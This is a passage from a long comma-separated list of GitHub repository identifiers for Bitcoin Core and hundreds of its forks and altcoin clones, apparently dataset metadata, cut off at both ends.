pool,48thct2jtnf\/P,sarielsaz\/sarielsaz,MeshCollider\/bitcoin,argentumproject\/argentum,bankonmecoin\/bitcoin,jimmysong\/bitcoin,habibmasuro\/bitcoin,jtimon\/bitcoin,petertodd\/bitcoin,sbellem\/bitcoin,viacoin\/viacoin,donaloconnor\/bitcoin,syscoin\/syscoin2,gwangjin2\/gwangcoin-core,joroob\/reddcoin,BitcoinUnlimited\/BitcoinUnlimited,mastercoin-MSC\/mastercore,shurcoin\/shurcoin,bickojima\/bitzeny,collapsedev\/circlecash,SartoNess\/BitcoinUnlimited,myriadteam\/myriadcoin,osuyuushi\/laughingmancoin,bitshares\/bitshares-pts,ionomy\/ion,apoelstra\/elements,Bloom-Project\/Bloom,tripmode\/pxlcoin,simonmulser\/bitcoin,DGCDev\/digitalcoin,pinkevich\/dash,scamcoinz\/scamcoin,koharjidan\/bitcoin,MasterX1582\/bitcoin-becoin,dexX7\/bitcoin,coinkeeper\/2015-06-22_19-13_florincoin,gzuser01\/zetacoin-bitcoin,jnewbery\/bitcoin,zcoinofficial\/zcoin,deeponion\/deeponion,safecoin\/safecoin,kryptokredyt\/ProjektZespolowyCoin,coinkeeper\/2015-06-22_18-39_feathercoin,emc2foundation\/einsteinium,destenson\/bitcoin--bitcoin,earthcoinproject\/earthcoin,blood2\/bloodcoin-0.9,MazaCoin\/mazacoin-new,gameunits\/gameunits,phelix\/bitcoin,namecoin\/namecoin-core,vcoin-project\/vcoin0.8zeta-dev,cmgustavo\/bitcoin,rustyrussell\/bitcoin,funbucks\/notbitcoinxt,Cloudsy\/bitcoin,vtafaucet\/virtacoin,cculianu\/bitcoin-abc,jambolo\/bitcoin,qubitcoin-project\/QubitCoinQ2C,HashUnlimited\/Einsteinium-Unlimited,Mirobit\/bitcoin,jiangyonghang\/bitcoin,zottejos\/merelcoin,florincoin\/florincoin,theuni\/bitcoin,gameunits\/gameunits,Bushstar\/UFO-Project,GIJensen\/bitcoin,jtimon\/elements,dgarage\/bc2,GlobalBoost\/GlobalBoost,masterbraz\/dg,gandrewstone\/bitcoinxt,multicoins\/marycoin,segsignal\/bitcoin,bickojima\/bitzeny,Kixunil\/keynescoin,xuyangcn\/opalcoin,memorycoin\/memorycoin,1185\/starwels,zcoinofficial\/zcoin,CTRoundTable\/Encrypted.Cash,Vsync-project\/Vsync,zcoinofficial\/zcoin,Ziftr\/litecoin,martindale\/elements,theuni\/bitcoin,Diapolo\/bitcoin,DynamicCoinOrg\/DMC,pelorusjack\/BlockDX,likecoin-dev\/bitcoin,dev1972\/Satellitecoin,cmgustavo\/bitcoin,morcos\/bitcoin,romanornr\/viacoin,jamesob\/bitcoin,apoelstra\/bitcoin,okinc\/bitcoin,shelvenzhou\/BTCGPU,schinzelh\/dash,reddcoin-project\/reddcoin,themusicgod1\/bitcoin,superjudge\/bitcoin,fsb4000\/bitcoin,marscoin\/marscoin,oklink-dev\/litecoin_block,adpg211\/bitcoin-master,sickpig\/BitcoinUnlimited,uphold\/bitcoin,rebroad\/bitcoin,majestrate\/twister-core,Flowdalic\/bitcoin,benma\/bitcoin,nlgcoin\/guldencoin-official,mycointest\/owncoin,bitcoinec\/bitcoinec,ShwoognationHQ\/bitcoin,shea256\/bitcoin,dcousens\/bitcoin,denverl\/bitcoin,coinkeeper\/2015-06-22_18-37_dogecoin,dperel\/bitcoin,anditto\/bitcoin,bitpay\/bitcoin,OfficialTitcoin\/titcoin-wallet,instagibbs\/bitcoin,nmarley\/dash,tmagik\/catcoin,FinalHashLLC\/namecore,gravio-net\/graviocoin,laudaa\/bitcoin,NateBrune\/bitcoin-fio,MitchellMintCoins\/AutoCoin,genavarov\/ladacoin,aspanta\/bitcoin,PandaPayProject\/PandaPay,joshrabinowitz\/bitcoin,mockcoin\/mockcoin,loxal\/zcash,btcdrak\/bitcoin,ionux\/freicoin,111t8e\/bitcoin,keesdewit82\/LasVegasCoin,willwray\/dash,millennial83\/bitcoin,habibmasuro\/bitcoinxt,ionomy\/ion,Sjors\/bitcoin,grumpydevelop\/singularity,rnicoll\/dogecoin,sipa\/elements,dashpay\/dash,marklai9999\/Taiwancoin,basicincome\/unpcoin-core,PIVX-Project\/PIVX,zemrys\/vertcoin,wtogami\/bitcoin,ahmedbodi\/terracoin,rawodb\/bitcoin,GroundRod\/anoncoin,xuyangcn\/opalcoin,jtimon\/elements,practicalswift\/bitcoin,domob1812\/namecore,instagibbs\/bitcoin,TGDiamond\/Diamond,gjhiggins\/fuguecoin,tedlz123\/Bitcoin,denverl\/bitcoin,dexX7\/mastercore,florincoin\/florincoin,m0gliE\/fastcoin-cli,NunoEdgarGub1\/elements,netswift\/vertcoin,nbenoit\/bitcoin,brightcoin\/brightcoin,funkshelper\/woodcoin-b,joulecoin\/joulecoin,basicincome\/unpcoin-core,domob1812\/huntercore,reddcoin-project\/reddcoin,Dinarcoin\/dinarcoin,bitpagar\/bitpagar,bitreserve\/bitcoin,wederw\/bitcoin,coinkeeper\/2015-06-22_18-41_ixcoin,mb300sd\/bitcoin,jlopp\/statoshi,dscotese\/bitcoin,laudaa\/bitcoin,Bitcoin-ABC\/bitcoin-abc,saydulk\/Feathercoin,se3000\/bitcoin,robvanbentem\/bitcoin,keo\/bitcoin,Kogser\/bitcoin,markf78\/dollarcoin,jonasschnelli\/bitcoin,ludbb\/bitcoin,andres-root\/bitcoinxt,jimblasko\/2015_UNB_Wallets,tropa\/axecoin,mooncoin-project\/mooncoin-landann,kleetus\/bitcoinxt,xieta\/mincoin,pinkevich\/dash,Kenwhite23\/litecoin,xuyangcn\/opalcoin,Justaphf\/BitcoinUnlimited,brishtiteveja\/sherlockholmescoin,nathan-at-least\/zcash,ravenbyron\/phtevencoin,cerebrus29301\/crowncoin,Krellan\/bitcoin,litecoin-project\/bitcoinomg,litecoin-project\/litecore-litecoin,JeremyRand\/namecore,destenson\/bitcoin--bitcoin,KaSt\/equikoin,brightcoin\/brightcoin,DrCrypto\/darkcoin,segwit\/atbcoin-insight,kevin-cantwell\/crunchcoin,mincoin-project\/mincoin,andreaskern\/bitcoin,coinkeeper\/2015-06-22_18-31_bitcoin,jn2840\/bitcoin,kirkalx\/bitcoin,aspanta\/bitcoin,worldcoinproject\/worldcoin-v0.8,dperel\/bitcoin,argentumproject\/argentum,rjshaver\/bitcoin,ahmedbodi\/terracoin,JeremyRand\/bitcoin,DogTagRecon\/Still-Leraning,Kore-Core\/kore,cyrixhero\/bitcoin,riecoin\/riecoin,coinkeeper\/2015-06-22_18-46_razor,Rav3nPL\/PLNcoin,JeremyRand\/namecore,hophacker\/bitcoin_malleability,zotherstupidguy\/bitcoin,anditto\/bitcoin,jakeva\/bitcoin-pwcheck,ccoin-project\/ccoin,rromanchuk\/bitcoinxt,thormuller\/yescoin2,ajtowns\/bitcoin,JeremyRubin\/bitcoin,jrmithdobbs\/bitcoin,collapsedev\/circlecash,Justaphf\/BitcoinUnlimited,TheBlueMatt\/bitcoin,neutrinofoundation\/neutrino-digital-currency,butterflypay\/bitcoin,5mil\/Tradecoin,JeremyRand\/bitcoin,ColossusCoinXT\/ColossusCoinXT,Checkcoin\/checkcoin,RyanLucchese\/energi,CarpeDiemCoin\/CarpeDiemLaunch,scamcoinz\/scamcoin,Bloom-Project\/Bloom,Kenwhite23\/litecoin,micryon\/GPUcoin,HeliumGas\/helium,XX-net\/twister-core,cdecker\/bitcoin,xeddmc\/twister-core,pinheadmz\/bitcoin,JeremyRubin\/bitcoin,dexX7\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,dgarage\/bc2,IlfirinCano\/shavercoin,zebrains\/Blotter,OfficialTitcoin\/titcoin-wallet,starwels\/starwels,pinheadmz\/bitcoin,practicalswift\/bitcoin,phelixbtc\/bitcoin,habibmasuro\/bitcoinxt,PIVX-Project\/PIVX,PRabahy\/bitcoin,ArgonToken\/ArgonToken,martindale\/elements,5mil\/Tradecoin,denverl\/bitcoin,nightlydash\/darkcoin,MeshCollider\/bitcoin,tuaris\/bitcoin,ppcoin\/ppcoin,GroestlCoin\/GroestlCoin,leofidus\/glowing-octo-ironman,joshrabinowitz\/bitcoin,wellenreiter01\/Feathercoin,hophacker\/bitcoin_malleability,Exceltior\/dogecoin,habibmasuro\/bitcoin,janko33bd\/bitcoin,keisercoin-official\/keisercoin,cmgustavo\/bitcoin,midnightmagic\/bitcoin,Kogser\/bitcoin,patricklodder\/dogecoin,Rav3nPL\/doubloons-0.10,slingcoin\/sling-market,syscoin\/syscoin2,bitcoinsSG\/zcash,myriadcoin\/myriadcoin,ShadowMyst\/creativechain-core,jambolo\/bitcoin,elliotolds\/bitcoin,WorldcoinGlobal\/WorldcoinLegacy,jeromewu\/bitcoin-opennet,scmorse\/bitcoin,accraze\/bitcoin,capitalDIGI\/DIGI-v-0-10-4,nightlydash\/darkcoin,coinkeeper\/anoncoin_20150330_fixes,Checkcoin\/checkcoin,goldcoin\/Goldcoin-GLD,qreatora\/worldcoin-v0.8,bdelzell\/creditcoin-org-creditcoin,peercoin\/peercoin,senadmd\/coinmarketwatch,dperel\/bitcoin,laudaa\/bitcoin,bitcoinplusorg\/xbcwalletsource,vlajos\/bitcoin,peerdb\/cors,fujicoin\/fujicoin,oklink-dev\/litecoin_block,kirkalx\/bitcoin,goldcoin\/Goldcoin-GLD,raasakh\/bardcoin,imton\/bitcoin,pelorusjack\/BlockDX,iQcoin\/iQcoin,shomeser\/bitcoin,jaromil\/faircoin2,gapcoin\/gapcoin,anditto\/bitcoin,RibbitFROG\/ribbitcoin,kevin-cantwell\/crunchcoin,phplaboratory\/psiacoin,Gazer022\/bitcoin,AdrianaDinca\/bitcoin,XertroV\/bitcoin-nulldata,jaromil\/faircoin2,shouhuas\/bitcoin,prusnak\/bitcoin,phelixbtc\/bitcoin,BitcoinUnlimited\/BitcoinUnlimited,manuel-zulian\/CoMoNet,bootycoin-project\/bootycoin,skaht\/bitcoin,oleganza\/bitcoin-duo,okinc\/litecoin,sifcoin\/sifcoin,maaku\/bitcoin,wekuiz\/wekoin,greencoin-dev\/digitalcoin,DrCrypto\/darkcoin,wtogami\/bitcoin,mrtexaznl\/mediterraneancoin,ingresscoin\/ingresscoin,wangliu\/bitcoin,sifcoin\/sifcoin,fullcoins\/fullcoin,vmp32k\/litecoin,manuel-zulian\/CoMoNet,ajtowns\/bitcoin,applecoin-official\/fellatio,thormuller\/yescoin2,ahmedbodi\/temp_vert,bcpki\/nonce2,m0gliE\/fastcoin-cli,mikehearn\/bitcoinxt,united-scrypt-coin-project\/unitedscryptcoin,ticclassic\/ic,bitbrazilcoin-project\/bitbrazilcoin,m0gliE\/fastcoin-cli,isghe\/bitcoinxt,likecoin-dev\/bitcoin,fujicoin\/fujicoin,apoelstra\/elements,WorldcoinGlobal\/WorldcoinLegacy,deeponion\/deeponion,daliwangi\/bitcoin,wellenreiter01\/Feathercoin,marcusdiaz\/BitcoinUnlimited,ahmedbodi\/temp_vert,plncoin\/PLNcoin_Core,ixcoinofficialpage\/master,zotherstupidguy\/bitcoin,deuscoin\/deuscoin,Exceltior\/dogecoin,Alex-van-der-Peet\/bitcoin,EthanHeilman\/bitcoin,llluiop\/bitcoin,digideskio\/namecoin,marlengit\/hardfork_prototype_1_mvf-bu,raasakh\/bardcoin,mikehearn\/bitcoinxt,steakknife\/bitcoin-qt,pascalguru\/florincoin,DMDcoin\/Diamond,memorycoin\/memorycoin,cryptocoins4all\/zcoin,ahmedbodi\/terracoin,spiritlinxl\/BTCGPU,CryptArc\/bitcoin,dagurval\/bitcoinxt,KillerByte\/memorypool,koharjidan\/litecoin,OstlerDev\/florincoin,acid1789\/bitcoin,bitcoinplusorg\/xbcwalletsource,ludbb\/bitcoin,keo\/bitcoin,thesoftwarejedi\/bitcoin,AllanDoensen\/BitcoinUnlimited,gwillen\/elements,applecoin-official\/applecoin,NunoEdgarGub1\/elements,rromanchuk\/bitcoinxt,gcc64\/bitcoin,rawodb\/bitcoin,alejandromgk\/Lunar,JeremyRand\/bitcoin,CarpeDiemCoin\/CarpeDiemLaunch,bitpay\/bitcoin,CrimeaCoin\/crimeacoin,BTCGPU\/BTCGPU,mammix2\/ccoin-dev,kaostao\/bitcoin,coinkeeper\/2015-06-22_18-52_viacoin,EthanHeilman\/bitcoin,acid1789\/bitcoin,Christewart\/bitcoin,peerdb\/cors,ahmedbodi\/test2,XertroV\/bitcoin-nulldata,mapineda\/litecoin,marlengit\/BitcoinUnlimited,marscoin\/marscoin,haraldh\/bitcoin,madman5844\/poundkoin,bespike\/litecoin,wcwu\/bitcoin,KaSt\/ekwicoin,czr5014iph\/bitcoin4e,maraoz\/proofcoin,elliotolds\/bitcoin,bitcoinknots\/bitcoin,benma\/bitcoin,EntropyFactory\/creativechain-core,cculianu\/bitcoin-abc,ajweiss\/bitcoin,Anfauglith\/iop-hd,novaexchange\/EAC,achow101\/bitcoin,tecnovert\/particl-core,sipa\/bitcoin,therealaltcoin\/altcoin,coinkeeper\/2015-06-22_18-36_darkcoin,xurantju\/bitcoin,schinzelh\/dash,magacoin\/magacoin,antonio-fr\/bitcoin,lbrtcoin\/albertcoin,worldbit\/worldbit,phplaboratory\/psiacoin,ludbb\/bitcoin,koharjidan\/dogecoin,guncoin\/guncoin,dcousens\/bitcoin,kallewoof\/elements,vcoin-project\/vcoin0.8zeta-dev,pataquets\/namecoin-core,wangliu\/bitcoin,greencoin-dev\/greencoin-dev,bitreserve\/bitcoin,marlengit\/hardfork_prototype_1_mvf-bu,mammix2\/ccoin-dev,ashleyholman\/bitcoin,pelorusjack\/BlockDX,FeatherCoin\/Feathercoin,lclc\/bitcoin,REAP720801\/bitcoin,lbrtcoin\/albertcoin,crowning-\/dash,presstab\/PIVX,sickpig\/BitcoinUnlimited,cddjr\/BitcoinUnlimited,irvingruan\/bitcoin,mikehearn\/bitcoin,syscoin\/syscoin,Carrsy\/PoundCoin,argentumproject\/argentum,gjhiggins\/vcoincore,reorder\/viacoin,Christewart\/bitcoin,capitalDIGI\/litecoin,tdudz\/elements,MikeAmy\/bitcoin,gmaxwell\/bitcoin,domob1812\/huntercore,ingresscoin\/ingresscoin,rsdevgun16e\/energi,manuel-zulian\/CoMoNet,morcos\/bitcoin,masterbraz\/dg,madman5844\/poundkoin,thesoftwarejedi\/bitcoin,cryptoprojects\/ultimateonlinecash,Kogser\/bitcoin,coinkeeper\/2015-06-22_18-37_dogecoin,funbucks\/notbitcoinxt,roques\/bitcoin,BitcoinHardfork\/bitcoin,aniemerg\/zcash,jarymoth\/dogecoin,antonio-fr\/bitcoin,romanornr\/viacoin,cmgustavo\/bitcoin,howardrya\/AcademicCoin,oklink-dev\/bitcoin_block,safecoin\/safecoin,BitzenyCoreDevelopers\/bitzeny,Tetpay\/bitcoin,vertcoin\/eyeglass,sarielsaz\/sarielsaz,cainca\/liliucoin,Cloudsy\/bitcoin,compasscoin\/compasscoin,Ziftr\/litecoin,fujicoin\/fujicoin,shaulkf\/bitcoin,hophacker\/bitcoin_malleability,Climbee\/artcoin,chrisfranko\/aiden,nathaniel-mahieu\/bitcoin,josephbisch\/namecoin-core,renatolage\/wallets-BRCoin,cerebrus29301\/crowncoin,kfitzgerald\/titcoin,putinclassic\/putic,se3000\/bitcoin,langerhans\/dogecoin,gcc64\/bitcoin,ftrader-bitcoinabc\/bitcoin-abc,Litecoindark\/LTCD,AllanDoensen\/BitcoinUnlimited,monacoinproject\/monacoin,superjudge\/bitcoin,shelvenzhou\/BTCGPU,dcousens\/bitcoin,multicoins\/marycoin,sbellem\/bitcoin,rnicoll\/bitcoin,ivansib\/sibcoin,namecoin\/namecore,Carrsy\/PoundCoin,IlfirinIlfirin\/shavercoin,zotherstupidguy\/bitcoin,KaSt\/equikoin,phplaboratory\/psiacoin,gazbert\/bitcoin,kallewoof\/bitcoin,scippio\/bitcoin,parvez3019\/bitcoin,genavarov\/lamacoin,Kcoin-project\/kcoin,applecoin-official\/fellatio,nlgcoin\/guldencoin-official,cmgustavo\/bitcoin,metrocoins\/metrocoin,jgarzik\/bitcoin,shomeser\/bitcoin,shaolinfry\/litecoin,Tetpay\/bitcoin,cryptodev35\/icash,bitcoinplusorg\/xbcwalletsource,bitjson\/hivemind,jmgilbert2\/energi,kevcooper\/bitcoin,Ziftr\/bitcoin,donaloconnor\/bitcoin,coinkeeper\/2015-06-22_19-19_worldcoin,gandrewstone\/BitcoinUnlimited,dogecoin\/dogecoin,syscoin\/syscoin,DrCrypto\/darkcoin,blocktrail\/bitcoin,NunoEdgarGub1\/elements,LIMXTEC\/DMDv3,jrmithdobbs\/bitcoin,gjhiggins\/vcoin0.8zeta-dev,jamesob\/bitcoin,magacoin\/magacoin,nvmd\/bitcoin,Thracky\/monkeycoin,Ziftr\/litecoin,coinkeeper\/megacoin_20150410_fixes,Czarcoin\/czarcoin,gmaxwell\/bitcoin,brettwittam\/geocoin,gameunits\/gameunits,totallylegitbiz\/totallylegitcoin,czr5014iph\/bitcoin4e,phelix\/namecore,stamhe\/bitcoin,MitchellMintCoins\/MortgageCoin,deuscoin\/deuscoin,terracoin\/terracoin,diggcoin\/diggcoin,taenaive\/zetacoin,raasakh\/bardcoin,GreenParhelia\/bitcoin,therealaltcoin\/altcoin,robvanbentem\/bitcoin,megacoin\/megacoin,vertcoin\/vertcoin,TheBlueMatt\/bitcoin,nanocoins\/mycoin,apoelstra\/bitcoin,StarbuckBG\/BTCGPU,dan-mi-sun\/bitcoin,mikehearn\/bitcoin,WorldcoinGlobal\/WorldcoinLegacy,sipsorcery\/bitcoin,nvmd\/bitcoin,BenjaminsCrypto\/Benjamins-1,Jcing95\/iop-hd,isle2983\/bitcoin,gjhiggins\/fuguecoin,EntropyFactory\/creativechain-core,instagibbs\/bitcoin,ludbb\/bitcoin,Flurbos\/Flurbo,jarymoth\/dogecoin,isghe\/bitcoinxt,zenywallet\/bitzeny,CarpeDiemCoin\/CarpeDiemLaunch,cannabiscoindev\/cannabiscoin420,kazcw\/bitcoin,balajinandhu\/bitcoin,bootycoin-project\/bootycoin,gmaxwell\/bitcoin,vericoin\/vericoin-core,patricklodder\/dogecoin,KnCMiner\/bitcoin,dexX7\/bitcoin,dgenr8\/bitcoinxt,Mrs-X\/PIVX,kirkalx\/bitcoin,earthcoinproject\/earthcoin,Xekyo\/bitcoin,llamasoft\/ProtoShares_Cycle,qubitcoin-project\/QubitCoinQ2C,ericshawlinux\/bitcoin,GwangJin\/gwangmoney-core,jonghyeopkim\/bitcoinxt,franko-org\/franko,nailtaras\/nailcoin,rustyrussell\/bitcoin,Dajackal\/Ronpaulcoin,droark\/bitcoin,putinclassic\/putic,mitchellcash\/bitcoin,Megacoin2\/Megacoin,schildbach\/bitcoin,tuaris\/bitcoin,chaincoin\/chaincoin,TBoehm\/greedynode,rnicoll\/bitcoin,puticcoin\/putic,miguelfreitas\/twister-core,Petr-Economissa\/gvidon,zixan\/bitcoin,peercoin\/peercoin,Tetcoin\/tetcoin,brishtiteveja\/sherlockholmescoin,ashleyholman\/bitcoin,mastercoin-MSC\/mastercore,BitzenyCoreDevelopers\/bitzeny,franko-org\/franko,cryptodev35\/icash,kevcooper\/bitcoin,joroob\/reddcoin,fanquake\/bitcoin,shaolinfry\/litecoin,Theshadow4all\/ShadowCoin,cinnamoncoin\/Feathercoin,ravenbyron\/phtevencoin,schinzelh\/dash,chrisfranko\/aiden,Kogser\/bitcoin,Bitcoinsulting\/bitcoinxt,shadowoneau\/ozcoin,wederw\/bitcoin,misdess\/bitcoin,erqan\/twister-core,KibiCoin\/kibicoin,coinkeeper\/2015-06-22_19-13_florincoin,cqtenq\/Feathercoin,starwalkerz\/fincoin-fork,BitzenyCoreDevelopers\/bitzeny,phelix\/bitcoin,knolza\/gamblr,Vsync-project\/Vsync,RHavar\/bitcoin,and2099\/twister-core,viacoin\/viacoin,ticclassic\/ic,haobtc\/bitcoin,jgarzik\/bitcoin,jtimon\/bitcoin,CoinProjects\/AmsterdamCoin-v4,zcoinofficial\/zcoin,fussl\/elements,imton\/bitcoin,cryptodev35\/icash,llluiop\/bitcoin,jambolo\/bitcoin,shapiroisme\/datadollar,jaromil\/faircoin2,BigBlueCeiling\/augmentacoin,dexX7\/mastercore,safecoin\/safecoin,cinnamoncoin\/groupcoin-1,aciddude\/Feathercoin,xawksow\/GroestlCoin,experiencecoin\/experiencecoin,rnicoll\/bitcoin,superjudge\/bitcoin,CodeShark\/bitcoin,JeremyRand\/bitcoin,peacedevelop\/peacecoin,domob1812\/bitcoin,langerhans\/dogecoin,cybermatatu\/bitcoin,DogTagRecon\/Still-Leraning,droark\/elements,phelix\/namecore,11755033isaprimenumber\/Feathercoin,ANCompany\/birdcoin-dev,bcpki\/nonce2,jnewbery\/bitcoin,DMDcoin\/Diamond,adpg211\/bitcoin-master,Gazer022\/bitcoin,MeshCollider\/bitcoin,faircoin\/faircoin2,GlobalBoost\/GlobalBoost,taenaive\/zetacoin,sugruedes\/bitcoin,jakeva\/bitcoin-pwcheck,DGCDev\/digitalcoin,Domer85\/dogecoin,sipa\/elements,AkioNak\/bitcoin,sbellem\/bitcoin,scmorse\/bitcoin,vericoin\/vericoin-core,NateBrune\/bitcoin-nate,shea256\/bitcoin,cinnamoncoin\/Feathercoin,alejandromgk\/Lunar,odemolliens\/bitcoinxt,simdeveloper\/bitcoin,madman5844\/poundkoin,vericoin\/vericoin-core,raasakh\/bardcoin.exe,namecoin\/namecore,111t8e\/bitcoin,saydulk\/Feathercoin,vcoin-project\/vcoincore,lakepay\/lake,putinclassic\/putic,JeremyRand\/namecoin-core,nailtaras\/nailcoin,nlgcoin\/guldencoin-official,goku1997\/bitcoin,BTCDDev\/bitcoin,ronpaulcoin\/ronpaulcoin,Friedbaumer\/litecoin,szlaozhu\/twister-core,gjhiggins\/vcoincore,kaostao\/bitcoin,ericshawlinux\/bitcoin,mrtexaznl\/mediterraneancoin,Coinfigli\/coinfigli,aspirecoin\/aspire,projectinterzone\/ITZ,ahmedbodi\/vertcoin,qtumproject\/qtum,gmaxwell\/bitcoin,phelixbtc\/bitcoin,jarymoth\/dogecoin,qreatora\/worldcoin-v0.8,BTCDDev\/bitcoin,wcwu\/bitcoin,btc1\/bitcoin,masterbraz\/dg,welshjf\/bitcoin,cerebrus29301\/crowncoin,Coinfigli\/coinfigli,StarbuckBG\/BTCGPU,faircoin\/faircoin,goldmidas\/goldmidas,nomnombtc\/bitcoin,maraoz\/proofcoin,imharrywu\/fastcoin,bdelzell\/creditcoin-org-creditcoin,deeponion\/deeponion,bitcoinsSG\/bitcoin,namecoin\/namecore,Bitcoin-ABC\/bitcoin-abc,bitreserve\/bitcoin,Cancercoin\/Cancercoin,Dajackal\/Ronpaulcoin,sipsorcery\/bitcoin,stamhe\/bitcoin,MarcoFalke\/bitcoin,aburan28\/elements,loxal\/zcash,koharjidan\/dogecoin,supcoin\/supcoin,TrainMAnB\/vcoincore,romanornr\/viacoin,dagurval\/bitcoinxt,neuroidss\/bitcoin,PandaPayProject\/PandaPay,jonghyeopkim\/bitcoinxt,psionin\/smartcoin,TierNolan\/bitcoin,MasterX1582\/bitcoin-becoin,petertodd\/bitcoin,braydonf\/bitcoin,theuni\/bitcoin,collapsedev\/cashwatt,svost\/bitcoin,ajweiss\/bitcoin,kryptokredyt\/ProjektZespolowyCoin,sdaftuar\/bitcoin,Cloudsy\/bitcoin,litecoin-project\/bitcoinomg,Enticed87\/Decipher,themusicgod1\/bitcoin,jaromil\/faircoin2,Bitcoin-com\/BUcash,Cloudsy\/bitcoin,DigitalPandacoin\/pandacoin,wangxinxi\/litecoin,worldbit\/worldbit,goku1997\/bitcoin,keo\/bitcoin,sarielsaz\/sarielsaz,gwillen\/elements,MonetaryUnit\/MUE-Src,svost\/bitcoin,Erkan-Yilmaz\/twister-core,alexandrcoin\/vertcoin,dev1972\/Satellitecoin,borgcoin\/Borgcoin1,TeamBitBean\/bitcoin-core,earthcoinproject\/earthcoin,MonetaryUnit\/MUE-Src,Anoncoin\/anoncoin,achow101\/bitcoin,neuroidss\/bitcoin,Earlz\/dobbscoin-source,TGDiamond\/Diamond,benosa\/bitcoin,privatecoin\/privatecoin,jtimon\/bitcoin,wiggi\/huntercore,blocktrail\/bitcoin,lbryio\/lbrycrd,kazcw\/bitcoin,iosdevzone\/bitcoin,pstratem\/elements,wtogami\/bitcoin,n1bor\/bitcoin,xieta\/mincoin,richo\/dongcoin,united-scrypt-coin-project\/unitedscryptcoin,bittylicious\/bitcoin,Kogser\/bitcoin,MikeAmy\/bitcoin,segwit\/atbcoin-insight,starwels\/starwels,jrick\/bitcoin,wekuiz\/wekoin,FinalHashLLC\/namecore,mockcoin\/mockcoin,phelix\/namecore,bankonmecoin\/bitcoin,m0gliE\/fastcoin-cli,SartoNess\/BitcoinUnlimited,benzmuircroft\/REWIRE.io,jamesob\/bitcoin,enlighter\/Feathercoin,wbchen99\/bitcoin-hnote0,okinc\/litecoin,litecoin-project\/litecoin,zsulocal\/bitcoin,yenliangl\/bitcoin,Cocosoft\/bitcoin,genavarov\/ladacoin,Mrs-X\/PIVX,inkvisit\/sarmacoins,jlopp\/statoshi,knolza\/gamblr,ajweiss\/bitcoin,Har01d\/bitcoin,marscoin\/marscoin,cinnamoncoin\/groupcoin-1,RibbitFROG\/ribbitcoin,ivansib\/sib16,ionux\/freicoin,gwangjin2\/gwangcoin-core,coinkeeper\/2015-06-22_19-13_florincoin,gandrewstone\/bitcoinxt,crowning-\/dash,Bitcoin-com\/BUcash,174high\/bitcoin,butterflypay\/bitcoin,sipa\/elements,rebroad\/bitcoin,zzkt\/solarcoin,kallewoof\/elements,Climbee\/artcoin,cainca\/liliucoin,balajinandhu\/bitcoin,haobtc\/bitcoin,wellenreiter01\/Feathercoin,isle2983\/bitcoin,cqtenq\/feathercoin_core,pelorusjack\/BlockDX,RHavar\/bitcoin,syscoin\/syscoin,meighti\/bitcoin,bitcoin-hivemind\/hivemind,21E14\/bitcoin,Darknet-Crypto\/Darknet,Kcoin-project\/kcoin,Anoncoin\/anoncoin,hsavit1\/bitcoin,tjth\/lotterycoin,21E14\/bitcoin,upgradeadvice\/MUE-Src,aniemerg\/zcash,haraldh\/bitcoin,dgarage\/bc3,daliwangi\/bitcoin,droark\/elements,manuel-zulian\/accumunet,HashUnlimited\/Einsteinium-Unlimited,bittylicious\/bitcoin,reorder\/viacoin,bitreserve\/bitcoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,pdrobek\/Polcoin-1-3,lbryio\/lbrycrd,StarbuckBG\/BTCGPU,ShwoognationHQ\/bitcoin,CryptArc\/bitcoin,Vector2000\/bitcoin,KnCMiner\/bitcoin,steakknife\/bitcoin-qt,alecalve\/bitcoin,megacoin\/megacoin,Flowdalic\/bitcoin,IlfirinIlfirin\/shavercoin,matlongsi\/micropay,barcoin-project\/nothingcoin,ajweiss\/bitcoin,thelazier\/dash,bittylicious\/bitcoin,antcheck\/antcoin,grumpydevelop\/singularity,kevcooper\/bitcoin,prark\/bitcoinxt,habibmasuro\/bitcoin,Richcoin-Project\/RichCoin,kleetus\/bitcoinxt,qubitcoin-project\/QubitCoinQ2C,jn2840\/bitcoin,Bitcoin-ABC\/bitcoin-abc,BTCTaras\/bitcoin,domob1812\/bitcoin,bitbrazilcoin-project\/bitbrazilcoin,deadalnix\/bitcoin,afk11\/bitcoin,GroestlCoin\/GroestlCoin,webdesignll\/coin,coinkeeper\/2015-06-22_18-56_megacoin,vtafaucet\/virtacoin,schildbach\/bitcoin,PandaPayProject\/PandaPay,mrbandrews\/bitcoin,GIJensen\/bitcoin,cannabiscoindev\/cannabiscoin420,litecoin-project\/litecore-litecoin,TrainMAnB\/vcoincore,PIVX-Project\/PIVX,rat4\/bitcoin,Flurbos\/Flurbo,11755033isaprimenumber\/Feathercoin,ionomy\/ion,DMDcoin\/Diamond,octocoin-project\/octocoin,jmgilbert2\/energi,CryptArc\/bitcoinxt,vertcoin\/vertcoin,keisercoin-official\/keisercoin,janko33bd\/bitcoin,droark\/elements,rdqw\/sscoin,cddjr\/BitcoinUnlimited,48thct2jtnf\/P,phelix\/bitcoin,odemolliens\/bitcoinxt,chrisfranko\/aiden,FeatherCoin\/Feathercoin,peacedevelop\/peacecoin,vcoin-project\/vcoin0.8zeta-dev,coinkeeper\/2015-06-22_19-00_ziftrcoin,kbccoin\/kbc,mrbandrews\/bitcoin,ftrader-bitcoinabc\/bitcoin-abc,RongxinZhang\/bitcoinxt,cerebrus29301\/crowncoin,enlighter\/Feathercoin,coinkeeper\/2015-06-22_19-07_digitalcoin,tedlz123\/Bitcoin,nikkitan\/bitcoin,fedoracoin-dev\/fedoracoin,coinkeeper\/2015-06-22_18-56_megacoin,royosherove\/bitcoinxt,renatolage\/wallets-BRCoin,bitcoin\/bitcoin,psionin\/smartcoin,coinkeeper\/2015-06-22_18-41_ixcoin,SocialCryptoCoin\/SocialCoin,okinc\/litecoin,rawodb\/bitcoin,sugruedes\/bitcoin,supcoin\/supcoin,Har01d\/bitcoin,thormuller\/yescoin2,bitbrazilcoin-project\/bitbrazilcoin,ticclassic\/ic,zander\/bitcoinclassic,patricklodder\/dogecoin,slingcoin\/sling-market,simdeveloper\/bitcoin,alecalve\/bitcoin,joulecoin\/joulecoin,fullcoins\/fullcoin,dogecoin\/dogecoin,cyrixhero\/bitcoin,OstlerDev\/florincoin,globaltoken\/globaltoken,btc1\/bitcoin,domob1812\/namecore,memorycoin\/memorycoin,ShwoognationHQ\/bitcoin,ionux\/freicoin,ravenbyron\/phtevencoin,hasanatkazmi\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-bu,kazcw\/bitcoin,afk11\/bitcoin,inkvisit\/sarmacoins,initaldk\/bitcoin,mikehearn\/bitcoinxt,j